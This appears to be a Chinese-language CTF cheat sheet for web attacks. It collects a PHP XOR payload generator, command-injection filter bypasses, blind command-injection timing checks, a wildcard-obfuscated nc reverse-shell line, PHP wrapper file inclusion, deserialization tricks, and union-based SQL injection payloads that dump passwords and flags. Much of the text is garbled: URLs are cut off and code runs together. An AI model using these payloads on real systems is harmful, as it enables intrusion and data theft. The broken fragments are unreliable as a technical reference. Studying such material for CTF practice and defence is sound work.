payload = "assert" strlist = [0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 , 11 , 12 , 13 , 14 , 15 , 16 , 17 , 18 , 19 , 20 , 21 , 22 , 23 , 24 , 25 , 26 , 27 , 28 , 29 , 30 , 31 , 32 , 33 , 35 , 36 , 37 , 38 , 40 , 41 , 42 , 43 , 44 , 45 , 46 , 47 , 58 , 59 , 60 , 61 , 62 , 63 , 64 , 91 , 93 , 94 , 95 , 96 , 123 , 124 , 125 , 126 , 127 ] str1,str2 = '' ,'' for char in payload: for i in strlist: for j in strlist: if (i ^ j == ord (char)): i = '%{:0>2}' .format (hex (i)[2 :]) j = '%{:0>2}' .format (hex (j)[2 :]) print ("('{0}'^'{1}')" .format (i,j),end="." ) break else : continue break
关于__autoload魔术方法 具体参照:https://juejin.cn/post/7016944635851309070
__autoload魔术方法从PHP7.2.0开始被废弃,并且在PHP8.0.0以上的版本完全废除。取而代之的则是
spl_autoload_register
由此可见,__autoload
魔术方法需要有一个类名的参数,使用这个魔术方法之后即可自动加载相应的类。
虽然说是自动,但是本质上还是需要我们指定类名,__autoload
才会为我们包含文件,自动加载相应的类。
__autoload
魔术方法即使在类里面,但是由于这是一个全局的魔术方法,也就是说只要调用未知名称的类,都会调用__autoload
这个魔术方法,而__autoload
魔术方法将传入的参数作为命令执行。(这个类一旦引用就是全局性质的。)
经典案例:
首先假设我们有autoload.php
主业务逻辑代码如下:
<?php require_once ("class_A.php" );require_once ("class_B.php" );require_once ("class_C.php" );if ($_GET ["class" ] === 'A' ){ $a = new A (); } else if ($_GET ["class" ] === 'B' ){ $b = new B (); } else if ($_GET ["class" ] === 'C' ){ $c = new C (); }
将autoload.php
代码修改后:
<?php function __autoload ($classname ) { require ("class_$classname .php" ); } if ($_GET ["class" ] === 'A' ){ $a = new A (); } else if ($_GET ["class" ] === 'B' ){ $b = new B (); } else if ($_GET ["class" ] === 'C' ){ $c = new C (); }
解码类 url解码:https://c.runoob.com/front-end/3602/
Linux命令 Linux特殊利用点 1 . "." :能作为字符串使用,同时也能将某个文件内的所有sh挨个执行。 然后就是执行'flag' 文件下的内容,使用的是sh执行 2 . "?" :通配符,能匹配任意字符 然后可以匹配上 /tmp/php 3 . "/tmp/" :文件上传临时文件夹4 . "[@-[]" :这是一个范围,囊括的是大写字母的A-Zhttps: env wget wget -r <url/.git> git git reflog git show <分支编号> ; 前面的执行完执行后面的 | 管道符,上一条命令的输出,作为下一条命令的参数(显示后面的执行结果) || 当前面的执行出错时(为假)执行后面的 & 将任务置于后台执行 && 前面的语句为假则直接出错,后面的也不执行,前面只能为真 起因:在URL当中的普通输入的空格被过滤导致命令无法执行,需寻找替代品 IFS: Linux内置环境变量 ${IFS}$9 {IFS} $IFS ${IFS} $IFS$1 IFS < <> {cat,flag.php} %20 (space) %09 (tab) X=$'cat\x09./flag.php' ;$X (\x09表示tab,也可以用\x20) url编码 %0 a (换行) %0 d (回车) ` ` nl<fla'' g.php 原始: cat flag.php 转换: ?at${IFS}f??????? /?c=.+/???/????????[@-[] echo (var_export (scandir ('/' ),true ));require () => include ()require ('/flag.txt' );exit (); ?ip=127.0 .0.1 ;a=f;cat$IFS$1 $alag .php 错误 ?ip=127.0 .0.1 ;a=l;cat$IFS$1 f$aag .php 无 ?ip=127.0 .0.1 ;a=a;cat$IFS$1 fl$ag .php 错误 ?ip=127.0 .0.1 ;a=g;cat$IFS$1 fla$a .php 有flag ?ip=127.0 .0.1 ;a=fl;b=ag;cat$IFS$1 $a$b .php 错误 ?ip=127.0 .0.1 ;b=ag;a=fl;cat$IFS$1 $a$b .php 有flag flag{7 bbe778b-9 dda-4980 -8532 -9 deb7904bd14} [root@localhost ~] [root@localhost ~] 0 [root@localhost ~] -1 [root@localhost ~] -1 -1 [root@localhost ~] -2 [root@localhost ~] -2 [root@localhost ~] -2 [root@localhost ~] 1
Linux内置命令 文件和目录相关命令: ls :列出目录内容。 cat :显示文件内容。 od :以不同格式显示文件内容。 文本处理命令: tac :反向显示文件内容。 nl :给文件行添加行号。 more:分页显示文件内容。 less:按需显示文件内容。 head :显示文件开头部分。 tail :显示文件结尾部分。 grep:在文件中搜索指定模式。 sed:流编辑器,用于处理和转换文本。 tee : 从标准输入读取数据,并将其复制到一个或多个文件和/或标准输出 nl flag.php | tee flag.txt nl : 读取指定文件内容并且添加行号再进行输出。 网络相关命令: wget:从网络上下载文件。 编辑器和浏览器命令: vi:文本编辑器。 emacs:文本编辑器。 nano:文本编辑器。 压缩和解压命令: bzmore:对bzip2压缩文件进行分页查看。 bzless:对bzip2压缩文件进行按需查看。 工具命令: pcre:Perl兼容的正则表达式工具。 paste :合并文件内容。 diff:比较两个文件的差异。 file:确定文件类型。 echo :输出文本。 sh:Shell解释器。
Linux命令盲注 # awk NR==1: 按行读取的办法 # cut : 对字符串进行切割 ls /|awk "NR==1"|cut -c 1 # 完整的if 语句,判断目录用的 if [ `ls / | awk "NR==2" | cut -c 1` == "b" ];then sleep 3;fi if [ `cat /f149_15_h3r3 | awk 'NR=={0}'|cut -c {1}` == '{2}' ];then sleep 6;fi if [ `ls / | awk 'NR=={0}'|cut -c {1}` == '{2}' ];then sleep 6;fi if [ `cat /f149_15_h3r3 | awk 'NR=={0}'|cut -c {1} | xxd -p | tr -d '0a'` == '{2}' ];then sleep 6;fi
Linux命令绕过 膜拜大佬,不知道为什么崩了,先记下:大佬博客点我
空格绕过 {cat ,flag.txt} cat ${IFS} flag.txt cat $IFS$9flag .txt cat <flag.txt cat <>flag.txt kg=$'\x20flag.txt' &&cat $kg (\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)
敏感字符串绕过 假设过滤了cat 1.利用变量绕过: ac;b=at;$a$b 2.利用base编码绕过 `echo 'Y2F0Cg==' | base64 -d` test.txt 3.连接符截断绕过: c'a' t test.txt c\at test.txt ca$@t test.txt
通配符绕过 ?在linux里面可以进行代替一个任意字符: /???/[l-n]s 可替代ls /???/c?t test.txt 可替代cat test.txt *在linux里面可以代替任意个任意字符: ls *.php 列出当前目录下所有php文件无字母数字匹配: 如果我们遇到一个正则将字母数字$这些都过滤掉,要我们执行一个脚本的话. 假如脚本名称为chakdiD且在根目录/etc下,我们可以用: . /???/???????[@-[] [@-[]表示取从@到[之间的字符,这之间的字符都为大写字母。这样就实现了无字母数字匹配的命令,就可以绕过正则了。 给一个匹配表: 字符 解释 * 匹配任意长度任意字符 ? 匹配任意单个字符 [list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 [^list] 匹配指定范围外的任意单个字符或字符集合 [!list] 同[^list] {str1,str2,…} 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合 几个例子: /???/[:lower:]s /?s?/???/[n]c 2130706433 8888 -e /???/b??h ls {/ru,/tmp}n 字符匹配表参考:https://www.secpulse.com/archives/96374.html 参考大佬的通配符利用:https://www.freebuf.com/articles/web/186298.html
PROC软链接溢出绕过 /proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
PHP-Linux命令 exec ():执行一个外部程序,并获取输出。 语法:exec (string $command , array &$output = null , int &$return_var = null ): string |false 参数 $command 是要执行的命令;$output 是可选的,用于存储输出结果的数组;$return_var 是可选的,用于存储命令的返回值。 该函数返回字符串类型的输出结果,或者在失败时返回 false 。 shell_exec ():执行命令并获取输出。 语法:shell_exec (string $command ): string |null 参数 $command 是要执行的命令。 该函数返回字符串类型的输出结果,或者在失败时返回 null 。 passthru ():执行命令并直接将输出发送到输出流。 语法:passthru (string $command , int &$return_var = null ): void 参数 $command 是要执行的命令;$return_var 是可选的,用于存储命令的返回值。 该函数没有返回值,直接将输出发送到标准输出。 system ():执行命令,并显示输出结果。 语法:system (string $command , int &$return_var = null ): string |false 参数 $command 是要执行的命令;$return_var 是可选的,用于存储命令的返回值。 该函数返回字符串类型的输出结果,或者在失败时返回 false 。 pcntl_exec ():在当前进程中执行外部程序。 语法:pcntl_exec (string $path , array $args , array $envs ): void 参数 $path 是要执行的外部程序路径;$args 是一个字符串数组,表示命令行参数;$envs 是一个关联数组,表示环境变量。 该函数没有返回值,成功执行之后不会恢复到 PHP 脚本。 proc_open ():启动一个外部进程,并建立一个或多个管道来与其通信。 语法:resource|false proc_open (string $command , array $descriptorspec , array &$pipes , string |null $cwd = null , array |null $env = null , array |null $other_options = null ) 参数 $command 是要执行的命令;$descriptorspec 描述了进程的输入、输出和错误匿名管道的配置;$pipes 用于存储管道句柄的数组;$cwd 是可选的,表示子进程的当前工作目录;$env 是可选的,表示要设置的环境变量;$other_options 是可选的,表示其他进程选项。 该函数返回一个资源类型的进程句柄,或者在失败时返回 false 。 popen ():打开一个管道连接到一个进程,可以用于读取或写入该进程的输出或输入。 语法:resource|false popen (string $command , string $mode ) 参数 $command 是要执行的命令;$mode 表示打开管道的模式,可以是 "r" (只读)或 "w" (只写)。 该函数返回一个资源类型的文件指针,或者在失败时返回 false 。
实例
$command = "ls -l" ;$output = [];$return_var = 0 ;exec ($command , $output , $return_var );foreach ($output as $line ) { echo $line . PHP_EOL; } $command = "echo Hello World!" ;$output = shell_exec ($command );echo $output ; $command = "cat file.txt" ;passthru ($command );$command = "php --version" ;$output = system ($command , $return_var );echo $output ; $path = "/usr/bin/php" ;$args = ["script.php" , "arg1" , "arg2" ];$envs = ["ENV_VAR1" => "value1" , "ENV_VAR2" => "value2" ];pcntl_exec ($path , $args , $envs );`nl fl'' ag.p'' hp`
php伪协议 源头1blog点我
源头2blog点我
概述/简述 部分伪协议功能: phar: file: http: ftp: php: zlib: data: glob: ssh2: rar: ogg: expect: 官网信息:https: 或者搜索:PHP支持和封装的协议 来源处:https:
详细解部分伪协议 一 file协议 PHP.ini: file: allow_url_fopen :off/on allow_url_include:off/on file: 二.php: 不需要开启allow_url_fopen,仅php: php: 1 . php: allow_url_fopen :off/on allow_url_include:off/on php: resource=<要过滤的数据流> read=<读链的过滤器> write=<写链的过滤器> <; 两个链的过滤器> convert.base64-encode & convert.base64-decode 等同于base64_encode ()和base64_decode (),base64编码解码 convert.quoted-printable-encode & convert.quoted-printable-decode quoted-printable 字符串与 8 -bit 字符串编码解码 示例:?file=php: 2 . php: allow_url_fopen :off/on allow_url_include:on 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分 在enctype="multipart/form-data" 的时候php: 示例: Get:?file=php: POST: <?php phpinfo ()?> 三.zip: zip: allow_url_fopen :off/on allow_url_include:off/on zip: 1 .zip: 使用方法: zip: zip: eg: ?file=zip: 2 .bzip2: 使用方法: compress.bzip2: 测试现象: ?file=compress.bzip2: or ?file=compress.bzip2: 3 .zlib: 使用方法: compress.zlib: 测试现象: ?file=compress.zlib: or ?file=compress.zlib: 四.data: 经过测试官方文档上存在一处问题,经过测试PHP版本5.2 ,5.3 ,5.5 ,7.0 ;data: 协议是是受限于allow_url_fopen的,官方文档上给出的是NO, 所以要使用data: PHP.ini: data: allow_url_fopen :on allow_url_include:on 测试现象: ?file=data: or ?file=data:
小合集:
php: php: php: compress.zlib:
php特性 对于“与”(&&) 运算: x && y 当x为false 时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true 时,直接跳过,不执行y。 eval ("return $v1 $v3 $v2 ;" ); if (preg_match ("/[0-9]/" , $num )){die ("no no no!" );}if (intval ($num )){echo $flag ;} if (isset ($_POST ['a' ]) and isset ($_POST ['b' ])) {if ($_POST ['a' ] != $_POST ['b' ])if (md5 ($_POST ['a' ]) === md5 ($_POST ['b' ]))echo $flag ; if (preg_match ('/^php$/im' , $a )){ if (preg_match ('/^php$/i' , $a )){ echo 'hacker' ; }else {echo $flag ;}} is_numeric ($a ) $num = $_GET ['num' ];if ($num ==4476 ){die ("no no no!" );}if (intval ($num ,0 )==4476 ){echo $flag ;}else {echo intval ($num ,0 );}if ($num ==4476 ){die ("no no no!" );}if (preg_match ("/[a-z]/i" , $num )){die ("no no no!" );}if (intval ($num ,0 )==4476 ){echo $flag ;}if ($num ==4476 ){die ("no no no!" );}if (preg_match ("/[a-z]/i" , $num )){die ("no no no!" );}if (!strpos ($num , "0" )){die ("no no no!" );}if (intval ($num ,0 )==4476 ){echo $flag ;}if ($num ==4476 ){die ("no no no!" );}if (preg_match ("/[a-z]|\./i" , $num )){die ("no no no!!" );}if (!strpos ($num , "0" )){die ("no no no!!!" );}if (intval ($num ,0 )===4476 ){echo $flag ;}new Reflectionclass () $v0 =is_numeric ($v1 ) and is_numeric ($v2 ) and is_numeric ($v3 ); file_put_contents () $a = "<?=`cat *`;" ;echo '11' .bin2hex (substr (base64_encode ($a ),0 ,-1 )); 当遇到形如$$key =$$value 的情况,适当的需要进行变量覆盖 $'succ' =$'flag' $'error' =$'succ' if (preg_match ('/[a-zA-Z]+/' , $v1 ) && preg_match ('/[a-zA-Z]+/' , $v2 )){ eval ("echo new $v1 ($v2 ());" ); } if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1 )){die ("error v1" );}if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2 )){die ("error v2" );}eval ("echo new $v1 ($v2 ());" )call_user_func ($v1 ,$v2 ) 以下是常见的各个进制以及它们的基数和表示方法的介绍: 二进制(Binary):使用0 和1 两个数字表示。在计算机科学和数字电子技术中广泛应用。例如:101010 (二进制)表示42 (十进制)。 三进制(Ternary):使用0 、1 和2 三个数字表示。在某些编程语言和逻辑电路设计中使用。例如:121 (三进制)表示16 (十进制)。 四进制(Quaternary):使用0 、1 、2 和3 四个数字表示。在一些古代文献和某些领域中使用。例如:33 (四进制)表示15 (十进制)。 五进制(Quinary):使用0 、1 、2 、3 和4 五个数字表示。在某些计数系统和音乐理论中使用。例如:40 (五进制)表示20 (十进制)。 六进制(Senary):使用0 、1 、2 、3 、4 和5 六个数字表示。在一些人工语言和密码学中使用。例如:25 (六进制)表示17 (十进制)。 八进制(Octal):使用0 到7 共八个数字表示。在计算机编程中经常使用,特别是在表示文件权限和转换二进制数据时。例如:52 (八进制)表示42 (十进制)。 十进制(Decimal):使用0 到9 共十个数字表示。是我们日常生活中最常用的进制。例如:123 (十进制)表示123 (十进制)。 十六进制(Hexadecimal):使用0 到9 以及A到F(或a到f)共十六个数字/字符表示。在计算机科学和工程领域广泛应用,特别是在表示内存地址、颜色值和编码时。例如:2 A(十六进制)表示42 (十进制)。 三十六进制(Hexatridecimal):使用0 到9 以及A到Z共36 个数字/字符表示。在某些场合下用于短链接、URL缩短算法等。例如:1 K(三十六进制)表示36 (十进制)。 六十进制(Sexagesimal):使用0 到9 以及A到Z共60 个数字/字符表示。在时间、地理坐标和度量衡等领域使用。例如:3 C(六十进制)表示60 (十进制)。 $_GET [a] <=> ($_GET ){a}$x =_GET;$$x [a] <=>$_GET [a] eval ("echo new $v1 ($v2 ());" ); if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1 )){die ("error v1" );}if (preg_match ('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2 )){die ("error v2" );}eval ("echo new $v1 ($v2 ());" ); ${phpinfo ()} $() $nice =include $_GET ["url" ]?> &url=php: $_SERVER :存储了服务器和执行环境的信息,如请求头、URL 信息、服务器信息等。$_GET :存储了通过 URL 查询字符串传递的参数。$_POST :存储了通过 POST 方法提交的表单数据。$_REQUEST :存储了通过 GET、POST 和 COOKIE 方式传递的参数。$_COOKIE :存储了客户端发送的 HTTP Cookie。$_SESSION :存储了与用户会话相关的变量,需要先通过 session_start () 开启会话才能使用。$_FILES :存储了通过文件上传机制上传的文件信息。$GLOBALS : 唯一一个不使用下划线的全局变量 $num !=='36' and $num =='36'
反序列化漏洞 php反序列化 依赖函数 serialize () unserialize ()
魔术方法
构造函数 __construct (CTF常见)
<?php class Point { public $x ; public $y ; public function __construct ($x ,$y = 0 ) { $this ->x = $x ; $this ->y = $y ; } } $a = new Point (1 ,2 );echo serialize ($a );
析构函数 __destruct () (CTF常见)
class Point { public $x =1 ; public $y =2 ; public function __destruct ( ) {echo ('你创建的类已被销毁' );} } $a = new Point ();echo serialize ($a );
方法重载 __call & __callStatic
<?php class A { public function test ( ) { static ::who (); A::who (); self ::who (); $this ->who (); } private function test2 ( ) { } public static function __callStatic ($a , $b ) { var_dump ('A static' ); } public function __call ($a , $b ) { var_dump ('A call' ); } } $a = new A;$a ->test ();A::test1 (); $a 输出为 string (6 ) "A call" string (6 ) "A call" string (6 ) "A call" string (6 ) "A call" string (8 ) "A static" string (6 ) "A call"
属性重载 __get() 、 __set() 、 __isset() 、 __unset()
class PropertyTest { private $data = array (); public $declared = 1 ; private $hidden = 2 ; public function __set ($name , $value ) { echo "Setting '$name ' to '$value '\n" ; $this ->data[$name ] = $value ; } public function __get ($name ) { echo "Getting '$name '\n" ; if (array_key_exists ($name , $this ->data)) { return $this ->data[$name ]; } $trace = debug_backtrace (); trigger_error ( 'Undefined property via __get(): ' . $name . ' in ' . $trace [0 ]['file' ] . ' on line ' . $trace [0 ]['line' ], E_USER_NOTICE); return null ; } public function __isset ($name ) { echo "Is '$name ' set?\n" ; return isset ($this ->data[$name ]); } public function __unset ($name ) { echo "Unsetting '$name '\n" ; unset ($this ->data[$name ]); } public function getHidden ( ) { return $this ->hidden; } } echo "<pre>\n" ;$obj = new PropertyTest ;$obj ->a = 1 ;echo $obj ->a . "\n\n" ;var_dump (isset ($obj ->a));unset ($obj ->a);var_dump (isset ($obj ->a));echo "\n" ;echo $obj ->declared . "\n\n" ;echo "Let's experiment with the private property named 'hidden':\n" ;echo "Privates are visible inside the class, so __get() not used...\n" ;echo $obj ->getHidden () . "\n" ;echo "Privates not visible outside of class, so __get() is used...\n" ;echo $obj ->hidden . "\n" ;
属性重载目前没遇到过。
_sleep() 和 __wakeup() ¶ (CTF常见)
一个是在序列化前被调用,一个是在反序列化前被调用
class Connection { public $link ; public function __construct ($link ) { $this ->link = $link ; } public function __sleep ( ) { echo '序列化前' ; return array ('link' ) ; } public function __wakeup ( ) { echo '反序列化前' ; } } $a = new Connection ('127.0.0.1' );$b = serialize ($a );var_dump ($b );$c = unserialize ($b );var_dump ($c );序列化前string (49 ) "O:10:" Connection":1:{s:4:" link";s:9:" 127.0 .0.1 ";}" 反序列化前object (Connection) ["link" ]=> string (9 ) "127.0.0.1" }
魔术方法的绕过
垃圾回收机制,反序列化之字符逃逸 提前完结反序列化字符串
file_get_contents (base64_decode ($userinfo ['img' ]));a:2 :{s:4 :"flag" ;s:1 :"1" ;s:3 :"red" ;s:5 :"33123" ;} 这次还给了我们另外一个知识,就是: 1 .反序列化的值是以 `;` 为分割的 2 .反序列化没有类似于 `=` 的绝对键值对 _SESSION[phpflag]=;s:1 :"1" ;s:3 :"img" ;s:20 :"ZDBnM19mMWFnLnBocA==" ;} $a = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"defg";}' ;$b = 'a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:5:"qwert";}";i:2;s:4:"defg";}' ;var_dump (unserialize ($a ));var_dump (unserialize ($b ));
JAVA反序列化 暂时省略
文件包含 php函数包含 ini_set () 用于设置php.ini文件的值的函数1 .include :将指定文件包含到当前的 PHP 文件中,并在运行时解析和执行它。 如果包含的文件不存在或出错,则会产生一个警告,并继续执行脚本。 include 'example.php' ;2 .require :与include 类似,将指定文件包含到当前的 PHP 文件中, 但如果包含的文件不存在或出错,则会产生一个致命错误,并停止执行脚本。 require 'example.php' ;3 .include_once :与include 类似,但是只包含文件一次, 即使多次调用include_once 函数,也只会包含一次文件。 include_once 'example.php' ;4 .require_once :与require 类似,但是只包含文件一次, 即使多次调用require_once 函数,也只会包含一次文件。 require_once 'example.php' ;5 .include_path:用于获取或设置 PHP 的包含文件搜索路径。 可以通过该函数添加自定义的文件搜索路径。 $path = get_include_path ();set_include_path ($path . ":/path/to/custom/directory" );6 .get_required_files:返回在当前脚本中已经通过require 和include 包含的所有文件的数组。 $includedFiles = get_required_files ();print_r ($includedFiles );7 .file_exists:用于检查文件或目录是否存在。 if (file_exists ('path/to/file.txt' )) { echo '文件存在' ; } else { echo '文件不存在' ; } 8 . is_file:用于判断给定的路径是否为一个文件。if (is_file ('path/to/file.txt' )) { echo '这是一个文件' ; } else { echo '这不是一个文件' ; } 9 .is_dir:用于判断给定的路径是否为一个目录。 if (is_dir ('path/to/directory' )) { echo '这是一个目录' ; } else { echo '这不是一个目录' ; } 10 . realpath:返回给定的相对路径的绝对路径。$absolutePath = realpath ('path/to/file.txt' );echo $absolutePath ;11 . dirname:返回给定路径的目录部分。$directory = dirname ('/path/to/file.txt' );echo $directory ;
日志包含 源头博客
日志包含可以使用 .user.ini
包含到本文件当中,并且在UA当中注入代码并获取代码执行结果。(参照: web169~170
)
python函数 unicodedata.numeric 将字符转换为整数,包括中文的字符 urllib.unquote(request.cookies.get("action" )) 读取cookie参数的值 urllib.unquote(request.args.get("param" , "" )) 读取get参数的值 request.remote_addr 读取客户端IP地址 urllib.urlopen(param).read()读取网络文件,这个参数可以是http/s网址 tmpfile = open ('1.txt' , 'w' )
SQL注入 官方正常的语法点我 select替代方法:handler
SQL注入详细总结的博客:Nday00
union select information_schema的代替表: mysql.innodb_table_stats 堆叠查询 select group_concat(b) from (select 1 ,2 as b,3 union select * from users)a1 '/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
写题目记录
web171 -- 一般流程 # 找列 order by 3 -- - order by 4 -- - # 堆叠查询 # 查库 # 堆叠查询数据库相关信息 get: 1'union select 2,database(),3 -- - ' return: ctfshow_web # 查其它库 get: 1'union select 2,(group_concat(schema_name)),4 from information_schema.schemata-- - ' return: information_schema,test,mysql,performance_schema,ctfshow_web # 查表 get: 1'union select 2,(group_concat(table_name)),4 from information_schema.tables where table_schema='ctfshow_web'-- - ' return: ctfshow_user # 查字段 get: 1'union select 2,(group_concat(column_name)),4 from information_schema.columns where table_name='ctfshow_user'-- - ' return: id,username,password # 查字段对应的内容 get: 1'union select 2,(group_concat(password)),4 from ctfshow_user-- - ' return: admin,111,222,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,passwordAUTO,ctfshow{a53003e4-a479-47e2-b618-b24d4eabffb8} web 184
其它注点知识 select * from ctfshow a inner join ctfshow b on b.pass like 0 x???????????
join语法 具体参照多表查询
# 内连接:两个表共有的数据进行连接 # 普通的内连接 slect * from ctfshow_user a inner join ctfshow_user b on a.pass= b.pass; # 解构: select (值) from 表1 表1 别称名 inner join 表2 表2 别称名 b on 条件表达式 # 条件表达式不局限于 a.pass= b.pass,同样的也适用于 a.pass like 'ctfshow%'
like语法: # 0 x??????????? - > 十六进制的编码,把字符转为ascii的十进制形式再转为十六进制编码(hex(ord(asciiStr))) # 若干个(hex(ord))拼凑在一起,前面再加个0 x,使用like 语法拼接,可以达到形如 like 'ctfshow{%' 的效果。 slect * from ctfshow_user a inner join ctfshow_user b on a.pass like 'ctfshow%' ; slect * from ctfshow_user a inner join ctfshow_user b on a.pass like 0x6534353961643338646663353537636635333134363764306535386566363734 ;
having语法 having搭配 group by
使用,适用于 maridb
数据库,mysql试验的时候不知道出了什么差错失效了。
select count (age) from test2 group by age having age like '%ctf%' ;# 相当于: select count (age) from test2 where age like '%ctf%' ;
布尔绕过数字限制/数字输入 使用 concat
组装字符串绕过字符被限制的情况。
select concat(true ,true + true + true );# 返回:13
concat巧用 组合字符串的巧妙用法:
#> concat 运用 select concat(true ,true + true )#> 等价于 select concat(1 ,2 )#= 得到的结果:12 #> 字符拼接 select concat('ctf' ,'show' )#= 得到的结果:ctfshow
如果是使用char和true的组合:
select concat(char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ),char (true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true + true ))
group_concat合并列 group_up可以直接合并一整个列:
select concat(username) uname from ctfshow_user;
base64编码解码 to_base64() # 将结果转换为base64的形式 from_base64() # 将base64编码解码
万能密码 select 1 and 0 or 0 ;select 1 and 0 or 1 ;# 根据这个原理去改装查询用户名和密码的语句 select username,password from user where username= '$_POST["username"]' and password= '$_POST["password"]' ;# 如果单纯的使用上面的语法构造,就变成了: POST: username= admin& password= 'or' 1 # 而语句就变成了 select username,password from user where username= 'admin' and password= '' or '1' ;
md5万能密码 echo md5 ('ffifdyop' ,true );echo md5 ('129581926211651571912466741651878684928' , true )
0账户密码 select username,password from user where username= 0 and password= 0 ;
mariadb
和 mysql
通用,都能得到非数字开头的用户名和密码。
regexp正则表达式 mysql的regexp正则表达式解读如下:
MariaDB [kali]> select * from user where username regexp ('a' ); + | username | password | + | admin | asdasdfadfasfasdf | + 1 row in set (0.000 sec)MariaDB [kali]> select * from user where username regexp ('ad' ); + | username | password | + | admin | asdasdfadfasfasdf | + 1 row in set (0.000 sec)MariaDB [kali]> select * from user where username regexp ('admin' ); + | username | password | + | admin | asdasdfadfasfasdf | + 1 row in set (0.000 sec)MariaDB [kali]> select * from user where username regexp ('admina' ); Empty set (0.000 sec)
